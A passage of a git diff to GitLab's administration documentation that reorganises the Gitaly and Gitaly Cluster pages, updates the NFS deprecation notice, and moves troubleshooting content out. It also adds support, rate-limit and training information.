+While GitLab Geo helps remote teams work more efficiently by using a local GitLab node, it can also be used as a disaster recovery solution.
+Learn more about using [Geo as a disaster recovery solution](../administration/geo/disaster_recovery/index.md).
+
+Geo replicates your database, your Git repositories, and a few other assets.
+Learn more about [replication limitations](../administration/geo/replication/datatypes.md#limitations-on-replicationverification).
+
+## Support for GitLab self-managed
+
+GitLab provides support for self-managed GitLab through different channels.
+
+- Priority support: Premium and Ultimate self-managed customers receive priority support with tiered response times.
+ Learn more about [upgrading to priority support](https://about.gitlab.com/support/#upgrading-to-priority-support).
+- Live upgrade assistance: Get one-on-one expert guidance during a production upgrade. With your **priority support plan**,
+ you're eligible for a live, scheduled screen-sharing session with a member of our support team.
+
+To get assistance for self-managed GitLab:
+
+- Use the GitLab documentation for self-service support.
+- Join the [GitLab Forum](https://forum.gitlab.com/) for community support.
+- Gather [your subscription information](https://about.gitlab.com/support/#for-self-managed-users) before submitting a ticket.
+- [Submit a support ticket](https://support.gitlab.com/hc/en-us/requests/new).
+
+## Support for GitLab SaaS
+
+If you use GitLab SaaS, you have several channels with which to get support and find answers.
+
+- Priority support: Gold and Silver GitLab SaaS customers receive priority support with tiered response times.
+ Learn more about [upgrading to priority support](https://about.gitlab.com/support/#upgrading-to-priority-support).
+- GitLab SaaS 24/7 monitoring: Our full team of site reliability and production engineers is always on.
+ Often, by the time you notice an issue, someone's already looking into it.
+
+To get assistance for GitLab SaaS:
+
+- Access [GitLab Docs](../README.md) for self-service support.
+- Join the [GitLab Forum](https://forum.gitlab.com/) for community support.
+- Gather [your subscription information](https://about.gitlab.com/support/#for-self-managed-users) before submitting a ticket.
+- Submit a support ticket for:
+ - [General assistance](https://support.gitlab.com/hc/en-us/requests/new?ticket_form_id=334447)
+ - [Account or sign-in issues](https://support.gitlab.com/hc/en-us/requests/new?ticket_form_id=360000803379)
+- Subscribe to [the status page](https://status.gitlab.com/) for the latest on GitLab performance or service interruptions.
+
+## API and rate limits for self-managed GitLab
+
+Rate limits prevent denial-of-service or brute-force attacks. In most cases, you can reduce the load on your application
+and infrastructure by limiting the rate of requests from a single IP address.
+
+Rate limits also improve the security of your application.
+
+### Configure rate limits for self-managed GitLab
+
+You can make changes to your default rate limits from the Admin Area. For more information about configuration, see the [Admin Area page](../security/rate_limits.md#admin-area-settings).
+
+- Define [issues rate limits](../user/admin_area/settings/rate_limit_on_issues_creation.md) to set a maximum number of issue creation requests per minute, per user.
+- Enforce [user and IP rate limits](../user/admin_area/settings/user_and_ip_rate_limits.md) for unauthenticated web requests.
+- Review the [rate limit on raw endpoints](../user/admin_area/settings/rate_limits_on_raw_endpoints.md). The default setting is 300 requests per minute for raw file access.
+- Review the [import/export rate limits](../user/admin_area/settings/import_export_rate_limits.md) of the six active defaults.
+
+For more information about API and rate limits, see our [API page](../api/index.md).
+
+## API and rate limits for GitLab SaaS
+
+Rate limits prevent denial-of-service or brute-force attacks. IP blocks usually happen when GitLab.com receives unusual traffic
+from a single IP address. The system views unusual traffic as potentially malicious based on rate limit settings.
+
+Rate limits also improve the security of your application.
+
+### Configure rate limits for GitLab SaaS
+
+You can make changes to your default rate limits from the Admin Area. For more information about configuration, see the [Admin Area page](../security/rate_limits.md#admin-area-settings).
+
+- Review the rate limit page.
+- Read our [API page](../api/index.md) for more information about API and rate limiting.
+
+### GitLab SaaS-specific block and error responses
+
+- [403 forbidden error](../user/gitlab_com/index.md#gitlabcom-specific-rate-limits): If the error occurs for all GitLab SaaS requests, look for an automated process that could have triggered a block. For more assistance, contact GitLab support with your error details, including the affected IP address.
+- [HAProxy API throttle](../user/gitlab_com/index.md#haproxy): GitLab SaaS responds with HTTP status code 429 to API requests that exceed 10 requests per second, per IP address.
+- [Protected paths throttle](../user/gitlab_com/index.md#protected-paths-throttle): GitLab SaaS responds with HTTP status code 429 to POST requests at protected paths that exceed 10 requests per minute, per IP address.
+- [Git and container registry failed authentication ban](../user/gitlab_com/index.md#git-and-container-registry-failed-authentication-ban): GitLab SaaS responds with HTTP status code 403 for one hour if it receives 30 failed authentication requests in three minutes from a single IP address.
+
+## GitLab training resources
+
+You can learn more about how to administer GitLab.
+
+- Get involved in the [GitLab Forum](https://forum.gitlab.com/) to trade tips with our talented community.
+- Check out [our blog](https://about.gitlab.com/blog/) for ongoing updates on:
+ - Releases
+ - Applications
+ - Contributions
+ - News
+ - Events
+
+### Paid GitLab training
+
+- GitLab education services: Learn more about [GitLab and DevOps best practices](https://about.gitlab.com/services/education/) through our specialized training courses. See our full course catalog.
+- GitLab technical certifications: Explore our [certification options](https://about.gitlab.com/handbook/customer-success/professional-services-engineering/gitlab-technical-certifications/) that focus on key GitLab and DevOps skills.
+
+### Free GitLab training
+
+- GitLab basics: Discover self-service guides on [Git and GitLab basics](../gitlab-basics/index.md).
+- GitLab Learn: Learn new GitLab skills in a structured course at [GitLab Learn](https://about.gitlab.com/learn/).
+
+### Third-party training
+
+- Udemy: For a more affordable, guided training option, consider
+ [GitLab CI: Pipelines, CI/CD, and DevOps for Beginners](https://www.udemy.com/course/gitlab-ci-pipelines-ci-cd-and-devops-for-beginners/) on Udemy.
+- LinkedIn Learning: Check out [Continuous Delivery with GitLab](https://www.linkedin.com/learning/continuous-delivery-with-gitlab) on LinkedIn Learning
+ for another low-cost, guided training option.
diff --git a/doc/administration/git_protocol.md b/doc/administration/git_protocol.md
index acc05a77bee..6e391cb459e 100644
--- a/doc/administration/git_protocol.md
+++ b/doc/administration/git_protocol.md
@@ -99,7 +99,7 @@ $ GIT_TRACE_PACKET=1 git -c protocol.version=2 ls-remote https://your-gitlab-ins
Verify Git v2 is used by the client:
```shell
-GIT_SSH_COMMAND="ssh -v" git -c protocol.version=2 ls-remote ssh://your-gitlab-instance.com:group/repo.git 2>&1 |grep GIT_PROTOCOL
+GIT_SSH_COMMAND="ssh -v" git -c protocol.version=2 ls-remote ssh://git@your-gitlab-instance.com/group/repo.git 2>&1 |grep GIT_PROTOCOL
```
You should see that the `GIT_PROTOCOL` environment variable is sent:
diff --git a/doc/administration/gitaly/faq.md b/doc/administration/gitaly/faq.md
index 98a90925d32..a5964b7a2eb 100644
--- a/doc/administration/gitaly/faq.md
+++ b/doc/administration/gitaly/faq.md
@@ -7,7 +7,8 @@ type: reference
# Frequently asked questions **(FREE SELF)**
-The following are answers to frequently asked questions about Gitaly and Gitaly Cluster.
+The following are answers to frequently asked questions about Gitaly and Gitaly Cluster. For
+troubleshooting information, see [Troubleshooting Gitaly and Gitaly Cluster](troubleshooting.md).
## How does Gitaly Cluster compare to Geo?
@@ -87,4 +88,4 @@ There are no special requirements. Gitaly Cluster requires PostgreSQL version 11
These tables are created per the [specific configuration section](praefect.md#postgresql).
If you find you have an empty Praefect database table, see the
-[relevant troubleshooting section](index.md#relation-does-not-exist-errors).
+[relevant troubleshooting section](troubleshooting.md#relation-does-not-exist-errors).
diff --git a/doc/administration/gitaly/index.md b/doc/administration/gitaly/index.md
index eaf9e21780d..0af248e0573 100644
--- a/doc/administration/gitaly/index.md
+++ b/doc/administration/gitaly/index.md
@@ -19,6 +19,67 @@ Gitaly implements a client-server architecture:
- [GitLab Shell](https://gitlab.com/gitlab-org/gitlab-shell).
- [GitLab Workhorse](https://gitlab.com/gitlab-org/gitlab-workhorse).
+Gitaly manages only Git repository access for GitLab. Other types of GitLab data aren't accessed
+using Gitaly.
+
+GitLab accesses [repositories](../../user/project/repository/index.md) through the configured
+[repository storages](../repository_storage_paths.md). Each new repository is stored on one of the
+repository storages based on their
+[configured weights](../repository_storage_paths.md#configure-where-new-repositories-are-stored). Each
+repository storage is either:
+
+- A Gitaly storage with direct access to repositories using [storage paths](../repository_storage_paths.md),
+ where each repository is stored on a single Gitaly node. All requests are routed to this node.
+- A virtual storage provided by [Gitaly Cluster](#gitaly-cluster), where each repository can be
+ stored on multiple Gitaly nodes for fault tolerance. In a Gitaly Cluster:
+ - Read requests are distributed between multiple Gitaly nodes, which can improve performance.
+ - Write requests are broadcast to repository replicas.
+
+WARNING:
+Engineering support for NFS for Git repositories is deprecated. Read the
+[deprecation notice](#nfs-deprecation-notice).
+
+## Virtual storage
+
+Virtual storage makes it viable to have a single repository storage in GitLab to simplify repository
+management.
+
+Virtual storage with Gitaly Cluster can usually replace direct Gitaly storage configurations.
+However, this is at the expense of additional storage space needed to store each repository on multiple
+Gitaly nodes. The benefit of using Gitaly Cluster virtual storage over direct Gitaly storage is:
+
+- Improved fault tolerance, because each Gitaly node has a copy of every repository.
+- Improved resource utilization, reducing the need for over-provisioning for shard-specific peak
+ loads, because read loads are distributed across Gitaly nodes.
+- Manual rebalancing for performance is not required, because read loads are distributed across
+ Gitaly nodes.
+- Simpler management, because all Gitaly nodes are identical.
+
+The number of repository replicas can be configured using a
+[replication factor](praefect.md#replication-factor).
+
+It can
+be uneconomical to have the same replication factor for all repositories.
+[Variable replication factor](https://gitlab.com/groups/gitlab-org/-/epics/3372) is planned to
+provide greater flexibility for extremely large GitLab instances.
+
+As with normal Gitaly storages, virtual storages can be sharded.
+
+## Gitaly
+
+The following shows GitLab set up to use direct access to Gitaly:
+
+![Shard example](img/shard_example_v13_3.png)
+
+In this example:
+
+- Each repository is stored on one of three Gitaly storages: `storage-1`, `storage-2`, or
+ `storage-3`.
+- Each storage is serviced by a Gitaly node.
+- The three Gitaly nodes store data on their file systems.
+
+### Gitaly architecture
+
The following illustrates the Gitaly client-server architecture:
```mermaid
@@ -44,19 +105,7 @@ D -- gRPC --> Gitaly
E --> F
```
-End users do not have direct access to Gitaly. Gitaly manages only Git repository access for GitLab.
-Other types of GitLab data aren't accessed using Gitaly.
-
-<!-- vale gitlab.FutureTense = NO -->
-
-WARNING:
-From GitLab 14.0, enhancements and bug fixes for NFS for Git repositories will no longer be
-considered and customer technical support will be considered out of scope.
-[Read more about Gitaly and NFS](#nfs-deprecation-notice).
-
-<!-- vale gitlab.FutureTense = YES -->
-
-## Configure Gitaly
+### Configure Gitaly
Gitaly comes pre-configured with Omnibus GitLab, which is a configuration
[suitable for up to 1000 users](../reference_architectures/1k_users.md). For:
@@ -72,10 +121,24 @@ default value. The default value depends on the GitLab version.
## Gitaly Cluster
-Gitaly, the service that provides storage for Git repositories, can
-be run in a clustered configuration to scale the Gitaly service and increase
-fault tolerance. In this configuration, every Git repository is stored on every
-Gitaly node in the cluster.
+Git storage is provided through the Gitaly service in GitLab, and is essential to the operation of
+GitLab. When the number of users, repositories, and activity grows, it is important to scale Gitaly
+appropriately by:
+
+- Increasing the available CPU and memory resources available to Git before
+ resource exhaustion degrades Git, Gitaly, and GitLab application performance.
+- Increasing available storage before storage limits are reached causing write
+ operations to fail.
+- Removing single points of failure to improve fault tolerance. Git should be
+ considered mission critical if a service degradation would prevent you from
+ deploying changes to production.
+
+Gitaly can be run in a clustered configuration to:
+
+- Scale the Gitaly service.
+- Increase fault tolerance.
+
+In this configuration, every Git repository can be stored on multiple Gitaly nodes in the cluster.
Using a Gitaly Cluster increases fault tolerance by:
@@ -87,6 +150,19 @@ NOTE:
Technical support for Gitaly clusters is limited to GitLab Premium and Ultimate
customers.
+The following shows GitLab set up to access `storage-1`, a virtual storage provided by Gitaly
+Cluster:
+
+![Cluster example](img/cluster_example_v13_3.png)
+
+In this example:
+
+- Repositories are stored on a virtual storage called `storage-1`.
+- Three Gitaly nodes provide `storage-1` access: `gitaly-1`, `gitaly-2`, and `gitaly-3`.
+- The three Gitaly nodes share data in three separate hashed storage locations.
+- The [replication factor](praefect.md#replication-factor) is `3`. There are three copies maintained
+ of each repository.
+
The availability objectives for Gitaly clusters are:
- **Recovery Point Objective (RPO):** Less than 1 minute.
@@ -110,33 +186,18 @@ Gitaly Cluster supports:
- [Strong consistency](praefect.md#strong-consistency) of the secondary replicas.
- [Automatic failover](praefect.md#automatic-failover-and-primary-election-strategies) from the primary to the secondary.
- Reporting of possible data loss if replication queue is non-empty.
-- Marking repositories as [read-only](praefect.md#read-only-mode) if data loss is detected to prevent data inconsistencies.
+- From GitLab 13.0 to GitLab 14.0, marking repositories as [read-only](praefect.md#read-only-mode)
+ if data loss is detected to prevent data inconsistencies.
Follow the [Gitaly Cluster epic](https://gitlab.com/groups/gitlab-org/-/epics/1489)
for improvements including
[horizontally distributing reads](https://gitlab.com/groups/gitlab-org/-/epics/2013).
-### Overview
-
-Git storage is provided through the Gitaly service in GitLab, and is essential
-to the operation of the GitLab application. When the number of
-users, repositories, and activity grows, it is important to scale Gitaly
-appropriately by:
-
-- Increasing the available CPU and memory resources available to Git before
- resource exhaustion degrades Git, Gitaly, and GitLab application performance.
-- Increase available storage before storage limits are reached causing write
- operations to fail.
-- Improve fault tolerance by removing single points of failure. Git should be
- considered mission critical if a service degradation would prevent you from
- deploying changes to production.
-
### Moving beyond NFS
WARNING:
-From GitLab 13.0, using NFS for Git repositories is deprecated. In GitLab 14.0,
-support for NFS for Git repositories is scheduled to be removed. Upgrade to
-Gitaly Cluster as soon as possible.
+Engineering support for NFS for Git repositories is deprecated. Technical support is planned to be
+unavailable from GitLab 15.0. No further enhancements are planned for this feature.
[Network File System (NFS)](https://en.wikipedia.org/wiki/Network_File_System)
is not well suited to Git workloads which are CPU and IOPS sensitive.
@@ -159,22 +220,6 @@ Further reading:
- Blog post: [The road to Gitaly v1.0 (aka, why GitLab doesn't require NFS for storing Git data anymore)](https://about.gitlab.com/blog/2018/09/12/the-road-to-gitaly-1-0/)
- Blog post: [How we spent two weeks hunting an NFS bug in the Linux kernel](https://about.gitlab.com/blog/2018/11/14/how-we-spent-two-weeks-hunting-an-nfs-bug/)
-### Where Gitaly Cluster fits
-
-GitLab accesses [repositories](../../user/project/repository/index.md) through the configured
-[repository storages](../repository_storage_paths.md). Each new repository is stored on one of the
-repository storages based on their configured weights. Each repository storage is either:
-
-- A Gitaly storage served directly by Gitaly. These map to a directory on the file system of a
- Gitaly node.
-- A [virtual storage](#virtual-storage-or-direct-gitaly-storage) served by Praefect. A virtual
- storage is a cluster of Gitaly storages that appear as a single repository storage.
-
-Virtual storages are a feature of Gitaly Cluster. They support replicating the repositories to
-multiple storages for fault tolerance. Virtual storages can improve performance by distributing
-requests across Gitaly nodes. Their distributed nature makes it viable to have a single repository
-storage in GitLab to simplify repository management.
-
### Components of Gitaly Cluster
Gitaly Cluster consists of multiple components:
@@ -182,59 +227,10 @@ Gitaly Cluster consists of multiple components:
- [Load balancer](praefect.md#load-balancer) for distributing requests and providing fault-tolerant access to
Praefect nodes.
- [Praefect](praefect.md#praefect) nodes for managing the cluster and routing requests to Gitaly nodes.
-- [PostgreSQL database](praefect.md#postgresql) for persisting cluster metadata and [PgBouncer](praefect.md#pgbouncer),
+- [PostgreSQL database](praefect.md#postgresql) for persisting cluster metadata and [PgBouncer](praefect.md#use-pgbouncer),
recommended for pooling Praefect's database connections.
- Gitaly nodes to provide repository storage and Git access.
-![Cluster example](img/cluster_example_v13_3.png)
-
-In this example:
-
-- Repositories are stored on a virtual storage called `storage-1`.
-- Three Gitaly nodes provide `storage-1` access: `gitaly-1`, `gitaly-2`, and `gitaly-3`.
-- The three Gitaly nodes store data on their file systems.
-
-### Virtual storage or direct Gitaly storage
-
-Gitaly supports multiple models of scaling:
-
-- Clustering using Gitaly Cluster, where each repository is stored on multiple Gitaly nodes in the
- cluster. Read requests are distributed between repository replicas and write requests are
- broadcast to repository replicas. GitLab accesses virtual storage.
-- Direct access to Gitaly storage using [repository storage paths](../repository_storage_paths.md),
- where each repository is stored on the assigned Gitaly node. All requests are routed to this node.
-
-The following is Gitaly set up to use direct access to Gitaly instead of Gitaly Cluster:
-
-![Shard example](img/shard_example_v13_3.png)
-
-In this example:
-
-- Each repository is stored on one of three Gitaly storages: `storage-1`, `storage-2`,
- or `storage-3`.
-- Each storage is serviced by a Gitaly node.
-- The three Gitaly nodes share data in three separate hashed storage locations.
-- The [replication factor](praefect.md#replication-factor) is `3`. There are three copies maintained
- of each repository.
-
-Generally, virtual storage with Gitaly Cluster can replace direct Gitaly storage configurations, at
-the expense of additional storage needed to store each repository on multiple Gitaly nodes. The
-benefit of using Gitaly Cluster over direct Gitaly storage is:
-
-- Improved fault tolerance, because each Gitaly node has a copy of every repository.
-- Improved resource utilization, reducing the need for over-provisioning for shard-specific peak
- loads, because read loads are distributed across replicas.
-- Manual rebalancing for performance is not required, because read loads are distributed across
- replicas.
-- Simpler management, because all Gitaly nodes are identical.
-
-Under some workloads, CPU and memory requirements may require a large fleet of Gitaly nodes. It
-can be uneconomical to have one to one replication factor.
-
-A hybrid approach can be used in these instances, where each shard is configured as a smaller
-cluster. [Variable replication factor](https://gitlab.com/groups/gitlab-org/-/epics/3372) is planned
-to provide greater flexibility for extremely large GitLab instances.
-
### Architecture
Praefect is a router and transaction manager for Gitaly, and a required
@@ -360,385 +356,21 @@ The second facet presents the only real solution. For this, we developed
## NFS deprecation notice
-<!-- vale gitlab.FutureTense = NO -->
-
-From GitLab 14.0, enhancements and bug fixes for NFS for Git repositories will no longer be
-considered and customer technical support will be considered out of scope.
+Engineering support for NFS for Git repositories is deprecated. Technical support is planned to be
+unavailable from GitLab 15.0. No further enhancements are planned for this feature.
Additional information:
- [Recommended NFS mount options and known issues with Gitaly and NFS](../nfs.md#upgrade-to-gitaly-cluster-or-disable-caching-if-experiencing-data-loss).
- [GitLab statement of support](https://about.gitlab.com/support/statement-of-support.html#gitaly-and-nfs).
-<!-- vale gitlab.FutureTense = YES -->
-
GitLab recommends:
- Creating a [Gitaly Cluster](#gitaly-cluster) as soon as possible.
- [Moving your repositories](praefect.md#migrate-to-gitaly-cluster) from NFS-based storage to Gitaly
Cluster.
-We welcome your feedback on this process: raise a support ticket, or [comment on the epic](https://gitlab.com/groups/gitlab-org/-/epics/4916).
-
-## Troubleshooting
-
-Refer to the information below when troubleshooting Gitaly and Gitaly Cluster.
-
-Before troubleshooting, see the Gitaly and Gitaly Cluster
-[frequently asked questions](faq.md).
-
-### Troubleshoot Gitaly
-
-The following sections provide possible solutions to Gitaly errors.
-
-See also [Gitaly timeout](../../user/admin_area/settings/gitaly_timeouts.md) settings.
-
-#### Check versions when using standalone Gitaly servers
-
-When using standalone Gitaly servers, you must make sure they are the same version
-as GitLab to ensure full compatibility:
-
-1. On the top bar, select **Menu >** **{admin}** **Admin** on your GitLab instance.
-1. On the left sidebar, select **Overview > Gitaly Servers**.
-1. Confirm all Gitaly servers indicate that they are up to date.
-
-#### Use `gitaly-debug`
-
-The `gitaly-debug` command provides "production debugging" tools for Gitaly and Git
-performance. It is intended to help production engineers and support
-engineers investigate Gitaly performance problems.
-
-If you're using GitLab 11.6 or newer, this tool should be installed on
-your GitLab or Gitaly server already at `/opt/gitlab/embedded/bin/gitaly-debug`.
-If you're investigating an older GitLab version you can compile this
-tool offline and copy the executable to your server:
-
-```shell
-git clone https://gitlab.com/gitlab-org/gitaly.git
-cd cmd/gitaly-debug
-GOOS=linux GOARCH=amd64 go build -o gitaly-debug
-```
-
-To see the help page of `gitaly-debug` for a list of supported sub-commands, run:
-
-```shell
-gitaly-debug -h
-```
-
-#### Commits, pushes, and clones return a 401
-
-```plaintext
-remote: GitLab: 401 Unauthorized
-```
-
-You need to sync your `gitlab-secrets.json` file with your GitLab
-application nodes.
-
-#### Client side gRPC logs
-
-Gitaly uses the [gRPC](https://grpc.io/) RPC framework. The Ruby gRPC
-client has its own log file which may contain useful information when
-you are seeing Gitaly errors. You can control the log level of the
-gRPC client with the `GRPC_LOG_LEVEL` environment variable. The
-default level is `WARN`.
-
-You can run a gRPC trace with:
-
-```shell
-sudo GRPC_TRACE=all GRPC_VERBOSITY=DEBUG gitlab-rake gitlab:gitaly:check
-```
-
-#### Server side gRPC logs
-
-gRPC tracing can also be enabled in Gitaly itself with the `GODEBUG=http2debug`
-environment variable. To set this in an Omnibus GitLab install:
-
-1. Add the following to your `gitlab.rb` file:
-
- ```ruby
- gitaly['env'] = {
- "GODEBUG=http2debug" => "2"
- }
- ```
-
-1. [Reconfigure](../restart_gitlab.md#omnibus-gitlab-reconfigure) GitLab.
-
-#### Correlating Git processes with RPCs
-
-Sometimes you need to find out which Gitaly RPC created a particular Git process.
-
-One method for doing this is by using `DEBUG` logging. However, this needs to be enabled
-ahead of time and the logs produced are quite verbose.
-
-A lightweight method for doing this correlation is by inspecting the environment
-of the Git process (using its `PID`) and looking at the `CORRELATION_ID` variable:
-
-```shell
-PID=<Git process ID>
-sudo cat /proc/$PID/environ | tr '\0' '\n' | grep ^CORRELATION_ID=
-```
-
-This method isn't reliable for `git cat-file` processes, because Gitaly
-internally pools and re-uses those across RPCs.
-
-#### Observing `gitaly-ruby` traffic
+We welcome your feedback on this process. You can:
-[`gitaly-ruby`](configure_gitaly.md#gitaly-ruby) is an internal implementation detail of Gitaly,
-so, there's not that much visibility into what goes on inside
-`gitaly-ruby` processes.
-
-If you have Prometheus set up to scrape your Gitaly process, you can see
-request rates and error codes for individual RPCs in `gitaly-ruby` by
-querying `grpc_client_handled_total`.
-
-- In theory, this metric does not differentiate between `gitaly-ruby` and other RPCs.
-- In practice from GitLab 11.9, all gRPC calls made by Gitaly itself are internal calls from the
- main Gitaly process to one of its `gitaly-ruby` sidecars.
-
-Assuming your `grpc_client_handled_total` counter only observes Gitaly,
-the following query shows you RPCs are (most likely) internally
-implemented as calls to `gitaly-ruby`:
-
-```prometheus
-sum(rate(grpc_client_handled_total[5m])) by (grpc_method) > 0
-```
-
-#### Repository changes fail with a `401 Unauthorized` error
-
-If you run Gitaly on its own server and notice these conditions:
-
-- Users can successfully clone and fetch repositories by using both SSH and HTTPS.
-- Users can't push to repositories, or receive a `401 Unauthorized` message when attempting to
- make changes to them in the web UI.
-
-Gitaly may be failing to authenticate with the Gitaly client because it has the
-[wrong secrets file](configure_gitaly.md#configure-gitaly-servers).
-
-Confirm the following are all true:
-
-- When any user performs a `git push` to any repository on this Gitaly server, it
- fails with a `401 Unauthorized` error:
-
- ```shell
- remote: GitLab: 401 Unauthorized
- To <REMOTE_URL>
- ! [remote rejected] branch-name -> branch-name (pre-receive hook declined)
- error: failed to push some refs to '<REMOTE_URL>'
- ```
-
-- When any user adds or modifies a file from the repository using the GitLab
- UI, it immediately fails with a red `401 Unauthorized` banner.
-- Creating a new project and [initializing it with a README](../../user/project/working_with_projects.md#blank-projects)
- successfully creates the project but doesn't create the README.
-- When [tailing the logs](https://docs.gitlab.com/omnibus/settings/logs.html#tail-logs-in-a-console-on-the-server)
- on a Gitaly client and reproducing the error, you get `401` errors
- when reaching the [`/api/v4/internal/allowed`](../../development/internal_api.md) endpoint:
-
- ```shell
- # api_json.log
- {
- "time": "2019-07-18T00:30:14.967Z",
- "severity": "INFO",
- "duration": 0.57,
- "db": 0,
- "view": 0.57,
- "status": 401,
- "method": "POST",
- "path": "\/api\/v4\/internal\/allowed",
- "params": [
- {
- "key": "action",
- "value": "git-receive-pack"
- },
- {
- "key": "changes",
- "value": "REDACTED"
- },
- {
- "key": "gl_repository",
- "value": "REDACTED"
- },
- {
- "key": "project",
- "value": "\/path\/to\/project.git"
- },
- {
- "key": "protocol",
- "value": "web"
- },
- {
- "key": "env",
- "value": "{\"GIT_ALTERNATE_OBJECT_DIRECTORIES\":[],\"GIT_ALTERNATE_OBJECT_DIRECTORIES_RELATIVE\":[],\"GIT_OBJECT_DIRECTORY\":null,\"GIT_OBJECT_DIRECTORY_RELATIVE\":null}"
- },
- {
- "key": "user_id",
- "value": "2"
- },
- {
- "key": "secret_token",
- "value": "[FILTERED]"
- }
- ],
- "host": "gitlab.example.com",
- "ip": "REDACTED",
- "ua": "Ruby",
- "route": "\/api\/:version\/internal\/allowed",
- "queue_duration": 4.24,
- "gitaly_calls": 0,
- "gitaly_duration": 0,
- "correlation_id": "XPUZqTukaP3"
- }
-
- # nginx_access.log
- [IP] - - [18/Jul/2019:00:30:14 +0000] "POST /api/v4/internal/allowed HTTP/1.1" 401 30 "" "Ruby"
- ```
-
-To fix this problem, confirm that your [`gitlab-secrets.json` file](configure_gitaly.md#configure-gitaly-servers)
-on the Gitaly server matches the one on Gitaly client. If it doesn't match,
-update the secrets file on the Gitaly server to match the Gitaly client, then
-[reconfigure](../restart_gitlab.md#omnibus-gitlab-reconfigure).
-
-#### Command line tools cannot connect to Gitaly
-
-gRPC cannot reach your Gitaly server if:
-
-- You can't connect to a Gitaly server with command-line tools.
-- Certain actions result in a `14: Connect Failed` error message.
-
-Verify you can reach Gitaly by using TCP:
-
-```shell
-sudo gitlab-rake gitlab:tcp_check[GITALY_SERVER_IP,GITALY_LISTEN_PORT]
-```
-
-If the TCP connection:
-
-- Fails, check your network settings and your firewall rules.
-- Succeeds, your networking and firewall rules are correct.
-
-If you use proxy servers in your command line environment such as Bash, these can interfere with
-your gRPC traffic.
-
-If you use Bash or a compatible command line environment, run the following commands to determine
-whether you have proxy servers configured:
-
-```shell
-echo $http_proxy
-echo $https_proxy
-```
-
-If either of these variables have a value, your Gitaly CLI connections may be getting routed through
-a proxy which cannot connect to Gitaly.
-
-To remove the proxy setting, run the following commands (depending on which variables had values):
-
-```shell
-unset http_proxy
-unset https_proxy
-```
-
-#### Permission denied errors appearing in Gitaly or Praefect logs when accessing repositories
-
-You might see the following in Gitaly and Praefect logs:
-
-```shell
-{
- ...
- "error":"rpc error: code = PermissionDenied desc = permission denied",
- "grpc.code":"PermissionDenied",
- "grpc.meta.client_name":"gitlab-web",
- "grpc.request.fullMethod":"/gitaly.ServerService/ServerInfo",
- "level":"warning",
- "msg":"finished unary call with code PermissionDenied",
- ...
-}
-```
-
-This is a GRPC call
-[error response code](https://grpc.github.io/grpc/core/md_doc_statuscodes.html).
-
-If this error occurs, even though
-[the Gitaly auth tokens are set up correctly](#praefect-errors-in-logs),
-it's likely that the Gitaly servers are experiencing
-[clock drift](https://en.wikipedia.org/wiki/Clock_drift).
-
-Ensure the Gitaly clients and servers are synchronized, and use an NTP time
-server to keep them synchronized.
-
-#### Gitaly not listening on new address after reconfiguring
-
-When updating the `gitaly['listen_addr']` or `gitaly['prometheus_listen_addr']` values, Gitaly may
-continue to listen on the old address after a `sudo gitlab-ctl reconfigure`.
-
-When this occurs, run `sudo gitlab-ctl restart` to resolve the issue. This should no longer be
-necessary because [this issue](https://gitlab.com/gitlab-org/gitaly/-/issues/2521) is resolved.
-
-#### Permission denied errors appearing in Gitaly logs when accessing repositories from a standalone Gitaly node
-
-If this error occurs even though file permissions are correct, it's likely that the Gitaly node is
-experiencing [clock drift](https://en.wikipedia.org/wiki/Clock_drift).
-
-Please ensure that the GitLab and Gitaly nodes are synchronized and use an NTP time
-server to keep them synchronized if possible.
-
-### Troubleshoot Praefect (Gitaly Cluster)
-
-The following sections provide possible solutions to Gitaly Cluster errors.
-
-#### Praefect errors in logs
-
-If you receive an error, check `/var/log/gitlab/gitlab-rails/production.log`.
-
-Here are common errors and potential causes:
-
-- 500 response code
- - **ActionView::Template::Error (7:permission denied)**
- - `praefect['auth_token']` and `gitlab_rails['gitaly_token']` do not match on the GitLab server.
- - **Unable to save project. Error: 7:permission denied**
- - Secret token in `praefect['storage_nodes']` on GitLab server does not match the
- value in `gitaly['auth_token']` on one or more Gitaly servers.
-- 503 response code
- - **GRPC::Unavailable (14:failed to connect to all addresses)**
- - GitLab was unable to reach Praefect.
- - **GRPC::Unavailable (14:all SubCons are in TransientFailure...)**
- - Praefect cannot reach one or more of its child Gitaly nodes. Try running
- the Praefect connection checker to diagnose.
-
-#### Determine primary Gitaly node
-
-To determine the current primary Gitaly node for a specific Praefect node:
-
-- Use the `Shard Primary Election` [Grafana chart](praefect.md#grafana) on the
- [`Gitlab Omnibus - Praefect` dashboard](https://gitlab.com/gitlab-org/grafana-dashboards/-/blob/master/omnibus/praefect.json).
- This is recommended.
-- If you do not have Grafana set up, use the following command on each host of each
- Praefect node:
-
- ```shell
- curl localhost:9652/metrics | grep gitaly_praefect_primaries`
- ```
-
-#### Relation does not exist errors
-
-By default Praefect database tables are created automatically by `gitlab-ctl reconfigure` task.
-However, if the `gitlab-ctl reconfigure` command isn't executed or there are errors during the
-execution, the Praefect database tables are not created on initial reconfigure and can throw
-errors that relations do not exist.
-
-For example:
-
-- `ERROR: relation "node_status" does not exist at character 13`
-- `ERROR: relation "replication_queue_lock" does not exist at character 40`
-- This error:
-
- ```json
- {"level":"error","msg":"Error updating node: pq: relation \"node_status\" does not exist","pid":210882,"praefectName":"gitlab1x4m:0.0.0.0:2305","time":"2021-04-01T19:26:19.473Z","virtual_storage":"praefect-cluster-1"}
- ```
-
-To solve this, the database schema migration can be done using `sql-migrate` sub-command of
-the `praefect` command:
-
-```shell
-$ sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml sql-migrate
-praefect sql-migrate: OK (applied 21 migrations)
-```
+- Raise a support ticket.
+- [Comment on the epic](https://gitlab.com/groups/gitlab-org/-/epics/4916).
diff --git a/doc/administration/gitaly/praefect.md b/doc/administration/gitaly/praefect.md
index 21e5360e27b..e483bcc944a 100644
--- a/doc/administration/gitaly/praefect.md
+++ b/doc/administration/gitaly/praefect.md
@@ -43,8 +43,8 @@ default value. The default value depends on the GitLab version.
## Setup Instructions
-If you [installed](https://about.gitlab.com/install/) GitLab using the Omnibus
-package (highly recommended), follow the steps below:
+If you [installed](https://about.gitlab.com/install/) GitLab using the Omnibus GitLab package
+(highly recommended), follow the steps below:
1. [Preparation](#preparation)
1. [Configuring the Praefect database](#postgresql)
@@ -59,25 +59,27 @@ package (highly recommended), follow the steps below:
Before beginning, you should already have a working GitLab instance. [Learn how
to install GitLab](https://about.gitlab.com/install/).
-Provision a PostgreSQL server (PostgreSQL 11 or newer).
+Provision a PostgreSQL server. We recommend using the PostgreSQL that is shipped
